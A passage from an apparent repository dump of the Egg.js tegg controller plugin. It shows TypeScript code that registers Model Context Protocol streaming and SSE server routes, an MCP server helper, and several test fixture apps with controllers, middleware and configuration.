mw = compose([mw, self.globalMiddlewares]);\n    }\n    const initHandler = async (ctx: Context) => {\n      ctx.respond = false;\n      if (MCPControllerRegister.hooks.length > 0) {\n        for (const hook of MCPControllerRegister.hooks) {\n          await hook.preHandle?.(self.app.currentContext!);\n        }\n      }\n      const sessionId = ctx.req.headers['mcp-session-id'] as string | undefined;\n      if (!sessionId) {\n        const ct = contentType.parse(ctx.req.headers['content-type'] || 'application/json');\n\n        let body: any;\n\n        try {\n          const rawBody = await getRawBody(ctx.req, {\n            limit: '4mb',\n            encoding: ct.parameters.charset ?? 'utf-8',\n          });\n\n          body = JSON.parse(rawBody.toString());\n        } catch (e: any) {\n          ctx.status = 400;\n          ctx.body = {\n            jsonrpc: '2.0',\n            error: {\n              code: -32000,\n              message: `Bad Request: body should is json, ${e.toString()}`,\n            },\n            id: null,\n          };\n          return;\n        }\n\n        if (isInitializeRequest(body)) {\n          ctx.respond = false;\n          const eventStore = this.mcpConfig.getEventStore();\n          const mcpServerHelper = self.mcpServerHelperMap[name ?? 'default']();\n          for (const tool of self.registerMap[name ?? 'default'].tools) {\n            await mcpServerHelper.mcpToolRegister(tool.getOrCreateEggObject, tool.proto, tool.meta);\n          }\n          for (const resource of self.registerMap[name ?? 'default'].resources) {\n            await mcpServerHelper.mcpResourceRegister(resource.getOrCreateEggObject, resource.proto, resource.meta);\n          }\n          for (const prompt of self.registerMap[name ?? 'default'].prompts) {\n            await mcpServerHelper.mcpPromptRegister(prompt.getOrCreateEggObject, prompt.proto, prompt.meta);\n          }\n          const transport = new StreamableHTTPServerTransport({\n            sessionIdGenerator: () => this.mcpConfig.getSessionIdGenerator(name)(ctx),\n            eventStore,\n            onsessioninitialized: async (sessionId) => {\n              if (MCPControllerRegister.hooks.length > 0) {\n                for (const hook of MCPControllerRegister.hooks) {\n                  await hook.onStreamSessionInitialized?.(\n                    self.app.currentContext!,\n                    transport,\n                    mcpServerHelper.server,\n                    self,\n                  );\n                }\n              }\n              if (self.mcpConfig.getStreamPingEnabled(name)) {\n                self.mcpServerPing(mcpServerHelper.server.server, sessionId, name);\n              }\n            },\n          });\n\n          ctx.set({\n            'content-type': 'text/event-stream',\n          });\n\n          await mcpServerHelper.server.connect(transport);\n\n          transport.onclose = async () => {\n            if (transport.sessionId && self.pingIntervals[transport.sessionId]) {\n              clearInterval(self.pingIntervals[transport.sessionId]);\n              delete self.pingIntervals[transport.sessionId];\n            }\n          };\n\n          const onmessage = transport.onmessage;\n\n          transport.onmessage = async (message: JSONRPCMessage, extra?: MessageExtraInfo) => {\n            if (self.app.currentContext) {\n              self.app.currentContext.mcpArg = message;\n            }\n            onmessage && (await onmessage(message, extra));\n          };\n\n          await ctx.app.ctxStorage.run(ctx, async () => {\n            await mw(ctx, async () => {\n              await transport.handleRequest(ctx.req, ctx.res, body);\n              await awaitEvent(ctx.res, 'close');\n            });\n          });\n        } else {\n          ctx.status = 400;\n          ctx.body = {\n            jsonrpc: '2.0',\n            error: {\n              code: -32000,\n              message: 'Bad Request: No valid session ID provided',\n            },\n            id: null,\n          };\n          return;\n        }\n      } else if (sessionId) {\n        const transport = self.streamTransports[sessionId];\n        if (transport) {\n          if (MCPControllerRegister.hooks.length > 0) {\n            for (const hook of MCPControllerRegister.hooks) {\n              await hook.preHandle?.(self.app.currentContext!);\n            }\n          }\n          ctx.respond = false;\n          ctx.set({\n            'content-type': 'text/event-stream',\n          });\n\n          await ctx.app.ctxStorage.run(ctx, async () => {\n            await mw(ctx, async () => {\n              await transport.handleRequest(ctx.req, ctx.res);\n              await awaitEvent(ctx.res, 'close');\n            });\n          });\n          return;\n        }\n        if (MCPControllerRegister.hooks.length > 0) {\n          for (const hook of MCPControllerRegister.hooks) {\n            const checked = await hook.checkAndRunProxy?.(self.app.currentContext!, MCPProtocols.STREAM, sessionId);\n            if (checked) {\n              return;\n            }\n          }\n        }\n      }\n      return;\n    };\n    Reflect.apply(allRouterFunc, this.router, [\n      'chairMcpStreamInit',\n      self.mcpConfig.getStreamPath(name),\n      ...[],\n      initHandler,\n    ]);\n  }\n\n  mcpServerInit(name?: string): void {\n    const routerFunc = this.router.get;\n    const self = this;\n    const initHandler = async (ctx: Context) => {\n      const transport = new InnerSSEServerTransport(self.mcpConfig.getSseMessagePath(name), ctx.res);\n      const id = transport.sessionId;\n      if (MCPControllerRegister.hooks.length > 0) {\n        for (const hook of MCPControllerRegister.hooks) {\n          await hook.preSSEInitHandle?.(self.app.currentContext!, transport, self);\n        }\n      }\n      const intervalId = setInterval(() => {\n        if (self.sseConnections.has(id) && !ctx.res.writableEnded) {\n          ctx.res.write(': keepalive\\n\\n');\n        } else {\n          clearInterval(intervalId);\n          self.sseConnections.delete(id);\n        }\n      }, self.mcpConfig.getSseHeartTime(name));\n      self.sseConnections.set(id, { res: ctx.res, intervalId });\n      self.transports[id] = transport;\n      ctx.set({\n        'content-type': 'text/event-stream',\n      });\n      ctx.respond = false;\n      const mcpServerHelper = self.mcpServerHelperMap[name ?? 'default']();\n      for (const tool of self.registerMap[name ?? 'default'].tools) {\n        mcpServerHelper.mcpToolRegister(tool.getOrCreateEggObject, tool.proto, tool.meta);\n      }\n      for (const resource of self.registerMap[name ?? 'default'].resources) {\n        mcpServerHelper.mcpResourceRegister(resource.getOrCreateEggObject, resource.proto, resource.meta);\n      }\n      for (const prompt of self.registerMap[name ?? 'default'].prompts) {\n        mcpServerHelper.mcpPromptRegister(prompt.getOrCreateEggObject, prompt.proto, prompt.meta);\n      }\n      await mcpServerHelper.server.connect(transport);\n      self.mcpServerMap[id] = mcpServerHelper.server;\n      if (self.mcpConfig.getSsePingEnabled(name)) {\n        self.mcpServerPing(mcpServerHelper.server.server, transport.sessionId, name);\n      }\n      return self.sseCtxStorageRun.bind(self)(ctx, transport, name);\n    };\n    Reflect.apply(routerFunc, this.router, ['chairMcpInit', self.mcpConfig.getSseInitPath(name), ...[], initHandler]);\n  }\n\n  sseCtxStorageRun(ctx: Context, transport: SSEServerTransport, name?: string): void {\n    const self = this;\n    let mw = (this.app.middleware as any).teggCtxLifecycleMiddleware();\n    if (self.globalMiddlewares) {\n      mw = compose([mw, self.globalMiddlewares]);\n    }\n    const closeFunc = transport.onclose;\n    transport.onclose = () => {\n      closeFunc?.();\n      delete self.transports[transport.sessionId];\n      delete self.mcpServerMap[transport.sessionId];\n      if (transport.sessionId && self.pingIntervals[transport.sessionId]) {\n        clearInterval(self.pingIntervals[transport.sessionId]);\n        delete self.pingIntervals[transport.sessionId];\n      }\n      self.sseTransportsRequestMap.delete(transport as any);\n      const connection = self.sseConnections.get(transport.sessionId);\n      if (connection) {\n        clearInterval(connection.intervalId);\n        self.sseConnections.delete(transport.sessionId);\n      }\n    };\n    transport.onerror = (error: Error) => {\n      self.app.logger.error('session %s error %o', transport.sessionId, error);\n    };\n    const messageFunc = transport.onmessage;\n    self.sseTransportsRequestMap.set(transport as any, {});\n    transport.onmessage = async (message: JSONRPCMessage, extra?: MessageExtraInfo) => {\n      const args = [message, extra];\n      const socket = new Socket();\n      const req = new IncomingMessage(socket);\n      const res = new ServerResponse(req);\n      req.method = 'POST';\n      req.url = self.mcpConfig.getSseInitPath(name);\n      req.headers = {\n        ...ctx.req.headers,\n        ...extra?.requestInfo?.headers,\n        accept: 'application/json, text/event-stream',\n        'content-type': 'application/json',\n      };\n      const newCtx = self.app.createContext(req, res) as unknown as Context;\n      await ctx.app.ctxStorage.run(newCtx, async () => {\n        await mw(newCtx, async () => {\n          if (MCPControllerRegister.hooks.length > 0) {\n            for (const hook of MCPControllerRegister.hooks) {\n              await hook.preHandle?.(newCtx);\n            }\n          }\n          messageFunc!(message, extra);\n          if (isJSONRPCRequest(args[0])) {\n            const map = self.sseTransportsRequestMap.get(transport as any)!;\n            const wait = new Promise<null>((resolve, reject) => {\n              if (extra && 'id' in extra) {\n                map[extra.id as string] = { resolve, reject };\n              }\n            });\n            await wait;\n          }\n        });\n      });\n    };\n  }\n\n  mcpServerRegister(name?: string): void {\n    const routerFunc = this.router.post;\n    const self = this;\n\n    let mw = (self.app.middleware as any).teggCtxLifecycleMiddleware();\n    if (self.globalMiddlewares) {\n      mw = compose([mw, self.globalMiddlewares]);\n    }\n    const messageHander = async (ctx: Context) => {\n      const sessionId = ctx.query.sessionId as string;\n\n      if (self.transports[sessionId]) {\n        if (MCPControllerRegister.hooks.length > 0) {\n          for (const hook of MCPControllerRegister.hooks) {\n            await hook.preHandleInitHandle?.(self.app.currentContext!);\n          }\n        }\n        self.app.logger.info('message coming', sessionId);\n        try {\n          const ct = contentType.parse(ctx.req.headers['content-type'] ?? '');\n\n          const rawBody = await getRawBody(ctx.req, {\n            limit: '4mb',\n            encoding: ct.parameters.charset ?? 'utf-8',\n          });\n\n          const body = JSON.parse(rawBody.toString());\n          ctx.mcpArg = body;\n          await self.transports[sessionId].handlePostMessage(ctx.req, ctx.res, body);\n        } catch (error: any) {\n          self.app.logger.error('Error handling MCP message', error);\n          if (!ctx.res.headersSent) {\n            ctx.status = 500;\n            ctx.body = {\n              jsonrpc: '2.0',\n              error: {\n                code: -32603,\n                message: `Internal error: ${error.message}`,\n              },\n              id: null,\n            };\n          }\n        }\n        return;\n      }\n      if (MCPControllerRegister.hooks.length > 0) {\n        for (const hook of MCPControllerRegister.hooks) {\n          const checked = await hook.checkAndRunProxy?.(self.app.currentContext!, MCPProtocols.SSE, sessionId);\n          if (checked) {\n            return;\n          }\n        }\n      }\n    };\n    Reflect.apply(routerFunc, this.router, [\n      'chairMcpMessage',\n      self.mcpConfig.getSseMessagePath(name),\n      ...[mw],\n      messageHander,\n    ]);\n  }\n\n  getGlobalMiddleware(): void {\n    const middlewareNames = this.app.config.mcp.middleware || [];\n    const middlewares: compose.Middleware<EggContext>[] = [];\n    for (const name of middlewareNames) {\n      const middlewareFactory = (this.app as unknown as any).middlewares[name];\n      if (!middlewareFactory) {\n        throw new TypeError(`Middleware ${name} not found`);\n      }\n      const options = (this.app.config as any)[name] || {};\n      const mw = middlewareFactory(options, this.app);\n      (mw as any)._name = name;\n      middlewares.push(mw);\n    }\n    this.globalMiddlewares = compose(middlewares);\n  }\n\n  mcpServerPing(server: Server, sessionId: string, name?: string): void {\n    const duration = this.mcpConfig.getPingElapsed(name);\n    const interval = this.mcpConfig.getPingInterval(name);\n\n    const startTime = Date.now();\n\n    const timerId = setInterval(async () => {\n      const elapsed = Date.now() - startTime;\n      try {\n        await server.ping();\n      } catch (e) {\n        this.app.logger.warn('mcp server ping failed: ', e);\n      } finally {\n        if (elapsed >= duration) {\n          if (this.pingIntervals[sessionId]) {\n            clearInterval(this.pingIntervals[sessionId]);\n            delete this.pingIntervals[sessionId];\n          }\n        }\n      }\n    }, interval);\n\n    this.pingIntervals[sessionId] = timerId;\n  }\n\n  async register(): Promise<void> {\n    for (const proto of this.controllerProtos) {\n      if (this.registeredControllerProtos.includes(proto)) {\n        continue;\n      }\n      const metadata = proto.getMetaData(CONTROLLER_META_DATA) as MCPControllerMeta;\n      if (!this.mcpServerHelperMap[metadata.name ?? 'default']) {\n        this.getGlobalMiddleware();\n        this.mcpServerHelperMap[metadata.name ?? 'default'] = () => {\n          return new MCPServerHelper({\n            name: this.controllerMeta.name ?? `chair-mcp-${metadata.name ?? this.app.name}-server`,\n            version: this.controllerMeta.version ?? '1.0.0',\n            hooks: MCPControllerRegister.hooks,\n          });\n        };\n        this.mcpStatelessStreamServerInit(metadata.name);\n        this.mcpStreamServerInit(metadata.name);\n        this.mcpServerInit(metadata.name);\n        this.mcpServerRegister(metadata.name);\n        if (metadata.name) {\n          this.mcpConfig.setMultipleServerPath(this.app, metadata.name);\n        }\n      }\n      for (const prompt of metadata.prompts) {\n        if (!this.registerMap[metadata.name ?? 'default']) {\n          this.registerMap[metadata.name ?? 'default'] = {\n            prompts: [],\n            resources: [],\n            tools: [],\n          };\n        }\n        this.registerMap[metadata.name ?? 'default'].prompts.push({\n          getOrCreateEggObject: this.eggContainerFactory.getOrCreateEggObject.bind(this.eggContainerFactory),\n          proto,\n          meta: prompt,\n        });\n      }\n      for (const resource of metadata.resources) {\n        if (!this.registerMap[metadata.name ?? 'default']) {\n          this.registerMap[metadata.name ?? 'default'] = {\n            prompts: [],\n            resources: [],\n            tools: [],\n          };\n        }\n        this.registerMap[metadata.name ?? 'default'].resources.push({\n          getOrCreateEggObject: this.eggContainerFactory.getOrCreateEggObject.bind(this.eggContainerFactory),\n          proto,\n          meta: resource,\n        });\n      }\n      for (const tool of metadata.tools) {\n        if (!this.registerMap[metadata.name ?? 'default']) {\n          this.registerMap[metadata.name ?? 'default'] = {\n            prompts: [],\n            resources: [],\n            tools: [],\n          };\n        }\n        this.registerMap[metadata.name ?? 'default'].tools.push({\n          getOrCreateEggObject: this.eggContainerFactory.getOrCreateEggObject.bind(this.eggContainerFactory),\n          proto,\n          meta: tool,\n        });\n      }\n      this.registeredControllerProtos.push(proto);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/mcp/MCPServerHelper.ts",
    "content": "import type { MCPControllerMeta, MCPPromptMeta, MCPResourceMeta, MCPToolMeta } from '@eggjs/tegg';\nimport { CONTROLLER_META_DATA } from '@eggjs/tegg-types';\nimport type { EggObject, EggObjectName, EggPrototype } from '@eggjs/tegg-types';\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport type { ReadResourceCallback, ToolCallback, PromptCallback } from '@modelcontextprotocol/sdk/server/mcp.js';\n\nimport type { MCPControllerHook } from './MCPControllerRegister.ts';\nimport { MCPControllerRegister } from './MCPControllerRegister.ts';\n\nexport interface MCPServerHelperOptions {\n  name: string;\n  version: string;\n  hooks: MCPControllerHook[];\n}\n\nexport class MCPServerHelper {\n  server: McpServer;\n  hooks: MCPControllerHook[];\n  constructor(opts: MCPServerHelperOptions) {\n    this.server = new McpServer(\n      {\n        name: opts.name,\n        version: opts.version,\n      },\n      { capabilities: { logging: {} } },\n    );\n    this.hooks = opts.hooks;\n  }\n\n  async mcpResourceRegister(\n    getOrCreateEggObject: (proto: EggPrototype, name?: EggObjectName) => Promise<EggObject>,\n    controllerProto: EggPrototype,\n    resourceMeta: MCPResourceMeta,\n  ): Promise<void> {\n    const handler = async (...args: any[]) => {\n      const eggObj = await getOrCreateEggObject(controllerProto, controllerProto.name);\n      const realObj = eggObj.obj;\n      const realMethod = realObj[resourceMeta.name];\n      return Reflect.apply(realMethod, realObj, args) as ReturnType<ReadResourceCallback>;\n    };\n    const name = resourceMeta.mcpName ?? resourceMeta.name;\n    if (resourceMeta.uri) {\n      this.server.registerResource(name, resourceMeta.uri, resourceMeta.metadata ?? {}, handler);\n    } else if (resourceMeta.template) {\n      this.server.registerResource(name, resourceMeta.template, resourceMeta.metadata ?? {}, handler);\n    } else {\n      throw new Error(`MCPResource ${name} must have uri or template`);\n    }\n  }\n\n  async mcpToolRegister(\n    getOrCreateEggObject: (proto: EggPrototype, name?: EggObjectName) => Promise<EggObject>,\n    controllerProto: EggPrototype,\n    toolMeta: MCPToolMeta,\n  ): Promise<void> {\n    const controllerMeta = controllerProto.getMetaData(CONTROLLER_META_DATA) as MCPControllerMeta;\n    const name: string = toolMeta.mcpName ?? toolMeta.name;\n    const description: string | undefined = toolMeta.description;\n    let schema: NonNullable<(typeof toolMeta)['detail']>['argsSchema'] | undefined;\n    if (toolMeta.detail?.argsSchema) {\n      schema = toolMeta.detail?.argsSchema;\n    } else if (MCPControllerRegister.hooks.length > 0) {\n      for (const hook of MCPControllerRegister.hooks) {\n        schema = await hook.schemaLoader?.(controllerMeta, toolMeta);\n        if (schema) {\n          break;\n        }\n      }\n    }\n    const handler = async (...args: any[]) => {\n      const eggObj = await getOrCreateEggObject(controllerProto, controllerProto.name);\n      const realObj = eggObj.obj;\n      const realMethod = realObj[toolMeta.name];\n      let newArgs: any[] = [];\n      if (schema && toolMeta.detail) {\n        newArgs[toolMeta.detail.index] = args[0];\n        if (toolMeta.extra) {\n          newArgs[toolMeta.extra] = args[1];\n        }\n      } else if (toolMeta.extra) {\n        newArgs[toolMeta.extra] = args[0];\n      }\n      newArgs = [...newArgs, ...args];\n      return Reflect.apply(realMethod, realObj, newArgs) as ReturnType<ToolCallback>;\n    };\n    this.server.registerTool(\n      name,\n      {\n        description,\n        inputSchema: schema,\n      },\n      handler,\n    );\n  }\n\n  async mcpPromptRegister(\n    getOrCreateEggObject: (proto: EggPrototype, name?: EggObjectName) => Promise<EggObject>,\n    controllerProto: EggPrototype,\n    promptMeta: MCPPromptMeta,\n  ): Promise<void> {\n    const controllerMeta = controllerProto.getMetaData(CONTROLLER_META_DATA) as MCPControllerMeta;\n    const name: string = promptMeta.mcpName ?? promptMeta.name;\n    const description: string | undefined = promptMeta.description;\n    let schema: NonNullable<(typeof promptMeta)['detail']>['argsSchema'] | undefined;\n    if (promptMeta.detail?.argsSchema) {\n      schema = promptMeta.detail?.argsSchema;\n    } else if (MCPControllerRegister.hooks.length > 0) {\n      for (const hook of MCPControllerRegister.hooks) {\n        schema = await hook.schemaLoader?.(controllerMeta, promptMeta);\n        if (schema) {\n          break;\n        }\n      }\n    }\n    const handler = async (...args: any[]) => {\n      const eggObj = await getOrCreateEggObject(controllerProto, controllerProto.name);\n      const realObj = eggObj.obj;\n      const realMethod = realObj[promptMeta.name];\n      let newArgs: any[] = [];\n      if (schema && promptMeta.detail) {\n        newArgs[promptMeta.detail.index] = args[0];\n        if (promptMeta.extra) {\n          newArgs[promptMeta.extra] = args[1];\n        }\n      } else if (promptMeta.extra) {\n        newArgs[promptMeta.extra] = args[0];\n      }\n      newArgs = [...newArgs, ...args];\n      return Reflect.apply(realMethod, realObj, newArgs) as ReturnType<PromptCallback>;\n    };\n    this.server.registerPrompt(\n      name,\n      {\n        title: promptMeta.title,\n        description,\n        argsSchema: schema,\n      },\n      handler,\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\nimport type { ControllerMetaBuilderFactory } from '@eggjs/controller-decorator';\n\nimport type { ControllerRegisterFactory } from './lib/ControllerRegisterFactory.ts';\nimport type { RootProtoManager } from './lib/RootProtoManager.ts';\n\ndeclare module 'egg' {\n  interface Application {\n    rootProtoManager: RootProtoManager;\n    controllerRegisterFactory: ControllerRegisterFactory;\n    controllerMetaBuilderFactory: typeof ControllerMetaBuilderFactory;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/acl-app/app/controller/AclController.ts",
    "content": "import { Acl, HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController()\nexport default class AclController {\n  @Acl()\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/foo',\n  })\n  async foo() {\n    return 'hello, foo';\n  }\n\n  @Acl('mock1')\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/bar',\n  })\n  async bar() {\n    return 'hello, bar';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/acl-app/app/extend/context.ts",
    "content": "import { type EggContext } from '@eggjs/tegg';\n\nexport default {\n  acl(this: EggContext, code?: string) {\n    const authenticated = this.query.pass === 'true';\n    let authorized = true;\n    if (code && this.query.code !== code) {\n      authorized = false;\n    }\n    if (!authenticated) {\n      const error = new Error('unauthenticated') as any;\n      error.data = {\n        status: '401',\n        redirectUrl: 'http://alipay.com/401',\n      };\n      throw error;\n    }\n    if (!authorized) {\n      const error = new Error('unauthorized') as any;\n      error.data = {\n        status: '403',\n        redirectUrl: 'http://alipay.com/403',\n      };\n      throw error;\n    }\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/acl-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/acl-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/acl-app/package.json",
    "content": "{\n  \"name\": \"acl-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/AopMiddlewareController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Middleware, Inject } from '@eggjs/tegg';\n\nimport { BarMethodAdvice } from '../../modules/multi-module-common/advice/BarMethodAdvice.js';\nimport { CountAdvice } from '../../modules/multi-module-common/advice/CountAdvice.js';\nimport { FooControllerAdvice } from '../../modules/multi-module-common/advice/FooControllerAdvice.js';\nimport { FooMethodAdvice } from '../../modules/multi-module-common/advice/FooMethodAdvice.js';\nimport AppService from '../../modules/multi-module-service/AppService.js';\n\n@HTTPController({\n  path: '/aop/middleware',\n})\n@Middleware(CountAdvice, FooControllerAdvice)\nexport class AopMiddlewareController {\n  @Inject()\n  appService: AppService;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/global',\n  })\n  // CountAdvice, FooControllerAdvice\n  async global() {\n    return {\n      method: 'global',\n    };\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/method',\n  })\n  @Middleware(FooMethodAdvice, BarMethodAdvice)\n  async middleware() {\n    // FooMethodAdvice, BarMethodAdvice, CountAdvice, FooControllerAdvice\n    return {\n      method: 'middleware',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/AppController.ts",
    "content": "import '@eggjs/tracer/types';\nimport {\n  HTTPContext,\n  HTTPBody,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPParam,\n  HTTPQuery,\n  HTTPHeaders,\n  type IncomingHttpHeaders,\n  Middleware,\n  Inject,\n} from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nimport App from '../../modules/multi-module-common/model/App.js';\nimport AppService from '../../modules/multi-module-service/AppService.js';\nimport { countMw } from '../middleware/count_mw.js';\n\n@HTTPController({\n  path: '/apps',\n})\n@Middleware(countMw)\nexport class AppController {\n  @Inject()\n  appService: AppService;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get(\n    @HTTPContext() ctx: Context,\n    @HTTPParam() id: string,\n  ): Promise<{\n    traceId: string;\n    app: App | null;\n  }> {\n    const traceId = await ctx.tracer.traceId;\n    const app = await this.appService.findApp(id);\n    return {\n      traceId,\n      app,\n    };\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '',\n  })\n  async find(\n    @HTTPContext() ctx: Context,\n    @HTTPQuery() name: string,\n  ): Promise<{\n    traceId: string;\n    app: App | null;\n  }> {\n    const traceId = await ctx.tracer.traceId;\n    const app = await this.appService.findApp(name);\n    return {\n      traceId,\n      app,\n    };\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '',\n  })\n  async save(\n    @HTTPContext() ctx: Context,\n    @HTTPBody() app: App,\n    @HTTPHeaders() headers: IncomingHttpHeaders,\n  ): Promise<{\n    success: boolean;\n    traceId: string;\n    sessionId: string | undefined;\n  }> {\n    const traceId = await ctx.tracer.traceId;\n    await this.appService.save(app);\n    return {\n      success: true,\n      traceId,\n      sessionId: headers['x-session-id'] as string | undefined,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/MiddlewareController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Middleware, Inject } from '@eggjs/tegg';\n\nimport AppService from '../../modules/multi-module-service/AppService.js';\nimport { callModuleCtx } from '../middleware/call_module.js';\nimport { countMw } from '../middleware/count_mw.js';\nimport { logMwFactory } from '../middleware/log_mw.js';\n\n@HTTPController({\n  path: '/middleware',\n})\n@Middleware(countMw)\nexport class MiddlewareController {\n  @Inject()\n  appService: AppService;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/global',\n  })\n  async global() {\n    return {};\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/method',\n  })\n  @Middleware(logMwFactory('use middleware'))\n  async middleware() {\n    return {};\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/methodCallModule',\n  })\n  @Middleware(callModuleCtx)\n  async middlewareCallModule() {\n    return {};\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/ParamController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo/:fooId',\n})\nexport class ParamController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/bar/:barId',\n  })\n  async get(@HTTPParam() barId: string, @HTTPParam() fooId: string) {\n    return {\n      fooId,\n      barId,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/PriorityController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/users',\n})\nexport class PriorityController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/*',\n  })\n  async lowPriority() {\n    return 'low priority';\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/group',\n  })\n  async highPriority() {\n    return 'high priority';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/RedirectController.ts",
    "content": "import { HTTPContext, HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\n@HTTPController()\nexport class EdgeCaseController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/redirect',\n  })\n  async redirect(@HTTPContext() ctx: Context): Promise<void> {\n    ctx.redirect('https://alipay.com');\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/empty',\n  })\n  async empty() {\n    return;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/controller/ViewController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController()\nexport class ViewController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/*',\n  })\n  async get() {\n    return 'hello, view';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/middleware/call_module.ts",
    "content": "import { type Next } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nexport async function callModuleCtx(ctx: Context, next: Next) {\n  await (ctx.module as any).multiModuleService.appService.findApp('foo');\n  await next();\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/middleware/count_mw.ts",
    "content": "import { type Next } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nlet index = 0;\n\nexport async function countMw(ctx: Context, next: Next) {\n  await next();\n  if (ctx.body) ctx.body.count = index++;\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/app/middleware/log_mw.ts",
    "content": "import { type Next } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nexport function logMwFactory(log: string) {\n  return async function logMw(ctx: Context, next: Next) {\n    await next();\n    ctx.body.log = log;\n  };\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-common\"\n  },\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  },\n  {\n    \"path\": \"../modules/multi-module-service\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-common/advice/BarMethodAdvice.ts",
    "content": "import { AccessLevel } from '@eggjs/tegg-types';\nimport { Advice, type AdviceContext, type IAdvice } from '@eggjs/tegg/aop';\n\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class BarMethodAdvice implements IAdvice {\n  async around(_ctx: AdviceContext, next: () => Promise<any>) {\n    const body = await next();\n    body.aopList = body.aopList || [];\n    body.aopList.push(BarMethodAdvice.name);\n    return body;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-common/advice/CountAdvice.ts",
